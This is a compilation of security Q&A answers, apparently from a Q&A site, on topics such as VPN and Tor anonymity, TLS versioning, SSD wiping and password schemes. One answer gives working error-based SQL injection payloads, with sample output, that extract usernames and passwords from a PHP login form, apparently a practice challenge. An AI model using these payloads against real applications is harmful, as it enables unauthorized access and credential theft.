In any case, IPsec should act as a strong authentication mechanism, using client certificates. Further security via RADIUS is a good thing, because it allows the following benefits:

Protection from standard WiFi cracking attempts.
A credential store for VPNs, remote NAS, etc.
Full audit / logging for device authentication on the AP.

In terms of your last question, "can I do this on a home AP?", it depends. Almost all will allow for RADIUS, but I'm not sure how many will support IPsec. RADIUS on its own will not prevent sniffing between legitimate clients, but it will provide a barrier to unauthenticated clients. You need IPsec to enforce confidentiality.


Is there a method of generating site-specific passwords  which can be executed in my own head?

Intriguing question.  Here's a new, hopefully better, brainstorm.  Caveat emptor.

Generate two good tough random passwords that you commit to memory.

Take the letters of the site name in sequence.  If the letter is a vowel, use the corresponding letter from the first password. Else, if it's a consonant, use the corresponding letter from the second password.

E.g. suppose your passwords are (from apg) hicIrfyic9 and FritwoivAuv0.
For the site stackexchange, the first two letters are a consonant, so you use the "Fr" from the second password.  Next is a vowel, so you use "c" from the first password.  Keep going and you get "FrctwfivA9".

If you really are worried about someone finding several of your passwords and figuring out the pattern, you could add some method to rotate each of the passwords circularly first or something, or shift them thru the alphabet, or whatever, but it is easily possible to get too paranoid and confused....

You would be able to code this up on your regular machines for convenience, having it prompt you for the underlying passwords, but still be able to use it on kiosks, more slowly, from memory.  I'm not convinced this general idea is worth the hassle, but perhaps for some circumstances.


How to scan large .bin files for malware?

Scanning packed files like archives is very resource intensive. Many administrators limit the amount of (recursive) unpacking to preserve resources. Malware authors know that and like to pack, archive and encrypt files multiple times. This increases the chance of causing false-negatives.

If you want to deal with such files, you have to unpack and analyze them, no matter how much resources it might cost (as long as it is not causing a resource exhausting DoS in your environment).


Exploiting MD5/Salt Vulnerability in this PHP form?

From source code we can see that sqlinjection1 has four known columns username,password,welcomemessage,id.

As people pointed in commnets,We can use error based Sql injection to get the usernames,passwords,welcomemessage,id etc.

Post below parameters in sqli

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a))  or '1'='1

$pass=something

The error printed is

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

So username=user1,password=pass1,welcomemessage=secret message and id=1

Now we can get list of next user using

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a))  or '1'='1

$pass=something

Similarly for other users change the where clause and execute..

We can select single column for a single user as well simply using

$user=1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a))  or '1'='1


Google certificate gcp.gvt2.com untrusted / expired?

No, that the certificate expired today (as shown in the screenshot) is unrelated to the Symantec untrust.

  Is that possible that google is late updating its own certificates?

Well, it is possible.

Note that gcp.gvt2.com doesn't resolve here, though.


Why do so many embedded devices use shared keys?

It is probably easier to manufacture these devices if they can all use the same image. Also, what if the shared key needs to be stored in ROM or a place that cannot easily be updated during first boot?


MDNS activity-- is this a network risk/vuln?

A link about what mDNS is.

Answering your questions:

No, is not weird. If it is a large network, lots of devices can be using that kind of protocol, like for example Apple Bonjour software packages.
If a hacker is on the network, of course any information could be useful. It is not a security risk itself, but can help.
The presence of mDNS packets on the network doesn't mean in any case a security risk. Anyway, take the standard precautions... use firewall, antivirus, use always secure protocols if available (SSL, SSH, etc).


TLS is backward compatible, in the following sense: when the client connects, it sends a ClientHello message that specifies the highest version that it supports; the server then responds with a ServerHello that defines the protocol version which will be used. That way, a TLS server can perfectly support TLS 1.2 and yet interoperate properly with clients who know only SSL 3.0, TLS 1.0 or TLS 1.1.

In the other direction (when the client knows TLS 1.2 but not the server), there can be some trouble, because some (incorrectly implemented) TLS servers will support only TLS 1.0 and crash/reject connections when the client states support for a newer version. However, this is not your case here.

To make things fail when you upgrade your server to TLS 1.2 support, there must be a client somewhere who claims to support TLS 1.2, but does not actually do it properly. I have not personally encountered such a beast.


Can't tell If The OpenVPN Server I Setup Is Encrypted using Wireshark?

The VPN creates a virtual network interface and sets a route so all traffic goes through this interface. If you sniff on this VPN interface everything will be in clear. But everything which is put into this VPN interface gets encrypted and then send trough another more real network interface (WiFi in your case) to the VPN endpoint. That's why if you sniff on WiFi you see everything encrypted.

At the VPN endpoint you then have the same setup, i.e. the encrypted traffic comes in through the "physical" interface, gets decrypted and then comes out in plain on the VPN interface.


Standards for CA cert revocation and time-constrained cryptographic algorithm parameters

About trusted CA list formats, see RFC 5914 ("Trust Anchor Format") and the behemoth Trust Service Status List format. European Union tries to maintain such a list.

For the algorithms or key sizes, as far as I know, the recommendations are for human consumption, not in a computer-readable format. See this site for pointers (e.g. to the NIST recommendations). Contrary to lists of trust anchors, we do not expect regular activity there, and it will be by burst (changes to our notion of security of algorithms and key lengths come from cryptanalytic research results, which appear rather unpredictably -- because Science works that way).


Am I being Hacked? So many defferent ip's in router firewall logs

Unfortunately attackers scan the internet and are looking for vulnerable systems which they can exploit and then misuse to attack other systems - see for example this information about the VPNFilter botnet exploiting routers or this information about the Satori botnet infecting routers.

Thus, it is very likely that somebody is trying to attack your system. There is nothing you can do against somebody trying to attack you, but you can do something to make sure that the attacker does not succeed. This means especially to not use a router with known vulnerabilities or backdoors, with known default passwords or with weak passwords.

There are several information at this site which can help you with securing your router, for example Best practice for home router configuration, How to recommend a (more) secure router, Are consumer-grade routers any more or less vulnerable? or How to secure a router/modem?.


If the password is 7 characters long - then that is the maximum number of alpha characters possible (some may be numerics). Therefore the maximum number of combinations will be 128 - which surely just takes some determination and a bit of time to work through methodically.

E.g.

passworD
passwoRd
passwoRD
passwOrd
passwOrD
passwORd
passwORD
passWord


What can people do about Tor's weaknesses?

No anonymizing service is foolproof. To prevent yourself from being deanonymized by the abuse of tor weaknesses you should do the following:
Maintain good OPSEC.
Use security focused OS like tails or whonix.
Finally chain multiple anonymizing services over relying on just one service like tor alone.


Are VPN users identifiable by matching their connection to the VPN server?

The logic used in your question is correct.

In the example of a nation-state wanting to trace online activity back to a user it would be as follows.

The initial communication will show the source IP address happening to be registered with a VPN provider.
The nation-state will then contact the VPN provider via sending a subpoena,etc requesting the logs for the VPN server registered with the IP address identified in step 1. Depending on where the VPN server is located, and how the company operates they will either have to provide this information, or respond explaining they're unable to do so due to either, not storing any logs, or being out of the nation-states jurisdiction and not having to comply.
In the event the VPN provider responds with the logs this will show potentially the true public IP of the user they're trying to trace. Which will be the IP address registered with that users ISP. It is at this stage the nation-state will follow a similar process to what was explained in Step 2 but with the ISP.

Generally in terms of operational security it is best to run TOR over VPN as they both have their pros and cons, but taking this layered approach is a much better option.


How dangerous is it to allow local connections to remote selenium servers?

You are essentially allowing an external third party to access any resource reachable via HTTP from your computer. This includes resources on your local machine and inside your local network. The dangers of this should be obvious: if any sensitive information can be reached via HTTP(S) from your system it could be stolen by this third party.

And note that even data which are not accessible by HTTP might get stolen: if you don't use the Chrome extension but the provided binary you are executing third party code on your system with the same permissions as yourself. This code has thus access also to local files, mounted network volumes etc.

In other words: if you don't fully trust this service don't use it. Alternatively use it only within an environment which contains no data worth stealing and where no such data are reachable from inside the environment.


Keep in mind that modern SSDs already encrypt your data at the firmware level, so that a reformat operation can be done simply by discarding the internal key, rather than wiping every sector. This doesn't mean your data is automagically encrypted at all times - the crypto is only used to fix the NAND-wear issue. However, it does mean that a proper firmware-level format operation renders the data on the disk entirely destroyed for all intents and purposes. If you're throwing away an SSD, I highly recommend using this option. Most major OSes recognise and support the appropriate firmware command, but use of it may differ - check the appropriate documentation.

As far as the wear-leveling spare sectors go, in practice you should be safe regardless of whether or not the stored data was encrypted. Due to the internal encryption, orphaned data blocks in wear-leveling areas shouldn't be recoverable, since the IVs and sibling blocks are destroyed / missing. However, this isn't to say that you might not be unlucky - it may well be that a few blocks of file data end up being kept, leading to a case where a small amount of plaintext is recoverable. It's difficult to say.

Ignoring the internal crypto for a moment, another interesting attack is related to old remnant blocks of ciphertext. If you encrypt a piece of data with a particular key and IV, then encrypt a new piece of data with the same key and IV, it may be possible to attack that data using differential cryptanalysis or other attacks. It also demonstrates active modification of certain areas of data,  which may or may not be problematic for you depending on your threat scenario.


How to debug/reverse engineer java applets?

jdb/jdebugtool seem to fit your requirements.

Though a decompile (http://java.decompiler.free.fr/), pulling into your favourite IDE and then stepping through may be a neater approach? That way you can isolate methods and play with them individually. If you have a behaviour you want performed, that you can identify, such as incrementing a specific counter, you can cut through a lot of obfuscation by stepping through from something else (such as click button 'A') that you know should have that ultimate effect.